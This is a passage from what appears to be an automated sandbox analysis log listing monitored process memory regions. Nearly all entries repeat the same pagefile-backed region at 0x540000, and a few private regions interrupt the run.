entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1710 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1711 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1712 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1713 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1714 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1715 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1716 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1717 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1718 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1719 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1720 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1721 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1722 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1723 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1724 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1725 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1726 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1727 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1728 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1729 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1730 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1731 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1732 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1733 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1734 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1735 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1736 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1737 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1738 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1739 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1740 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1741 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1742 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1743 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1744 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1745 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1746 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1747 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1748 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1749 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1750 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1751 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1752 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1753 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1754 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1755 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1756 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1757 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1758 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1759 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1760 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1761 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1762 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1763 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1764 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1765 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1766 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1767 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1768 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1769 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1770 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1771 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1772 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1773 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1774 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1775 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1776 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1777 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1778 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1779 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1780 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1781 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1782 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1783 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1784 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1785 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1786 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1787 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1788 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1789 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1790 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1791 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1792 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1793 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1794 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1795 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1796 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1797 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1798 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1799 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1800 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1801 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1802 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1803 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1804 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1805 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1806 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1807 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1808 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1809 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1810 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1811 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1812 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1813 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1814 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1815 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1816 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1817 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1818 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1819 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1820 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1821 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1822 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1823 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1824 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1825 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1826 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1827 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1828 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1829 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1830 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1831 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1832 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1833 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1834 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1835 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1836 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1837 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1838 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1839 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1840 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1841 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1842 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1843 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1844 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1845 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1846 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1847 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1848 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1849 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1850 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1851 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1852 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1853 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1854 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1855 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1856 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1857 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1858 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1859 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1860 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1861 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1862 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1863 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1864 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1865 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1866 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1867 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1868 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1869 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1870 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1871 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1872 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1873 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1874 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1875 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1876 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1877 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1878 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1879 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1880 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1881 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1882 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1883 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1884 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1885 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1886 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1887 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1888 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1889 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1890 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1891 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1892 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1893 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1894 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1895 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1896 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1897 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1898 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1899 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = 